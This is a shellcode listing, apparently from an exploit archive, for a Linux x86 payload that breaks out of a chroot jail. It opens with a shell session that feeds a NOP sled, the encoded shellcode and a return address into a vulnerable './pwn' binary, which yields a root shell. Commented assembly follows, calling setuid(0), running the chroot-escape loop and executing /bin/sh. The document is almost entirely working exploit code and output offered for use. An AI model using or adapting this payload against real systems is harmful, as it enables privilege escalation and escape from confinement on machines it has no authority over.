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linux/x86 break chroot 87 bytes
[===============================
linux/x86 break chroot 87 bytes
===============================
bt:/# ./pwn `perl -e 'print "\x90"x181 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x27\x31\xdb\x53\x6a\x2e\x66\x68\x2e\x2e\x89\xe3\x66\xb9\xc0\x01\xcd\x80\xb0\x3d\x89\xe3\xcd\x80\x66\x5a\x31\xc9\x51\x66\x52\xb1\x64\xb0\x0c\x89\xe3\xcd\x80\xe2\xf8\xb0\x3d\x31\xc9\x88\x4c\x24\x01\x89\xe3\xcd\x80\xb0\x0b\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" . "\xa3\xf6\xff\xbf"'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
root@bt:/#
; linux/x86 break chroot 87 bytes
; root@thegibson
; 2009-12-30
section .text
global _start
_start:
; setuid(0);
mov al, 23
xor ebx, ebx
int 0x80
; mkdir("...", 0700);
mov al, 39
xor ebx, ebx
push ebx
push byte 0x2e
push word 0x2e2e
mov ebx, esp
mov cx, 0700o
int 0x80
; chroot("...");
mov al, 61
mov ebx, esp
int 0x80
; for (i = 100; i > 0; i--)
; {
; chdir("..");
; }
pop dx
xor ecx, ecx
push ecx
push dx
mov cl, 100
up:
mov al, 12
mov ebx, esp
int 0x80
loop up
; chroot(".");
mov al, 61
xor ecx, ecx
mov [esp + 1], cl
mov ebx, esp
int 0x80
; execve("//bin/sh", NULL, NULL);
mov al, 11
xor ecx, ecx
push ecx
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
xor edx, edx
int 0x80
; exit(0);
mov al, 1
xor ebx, ebx
int 0x80
# 0day.today [2024-11-16] #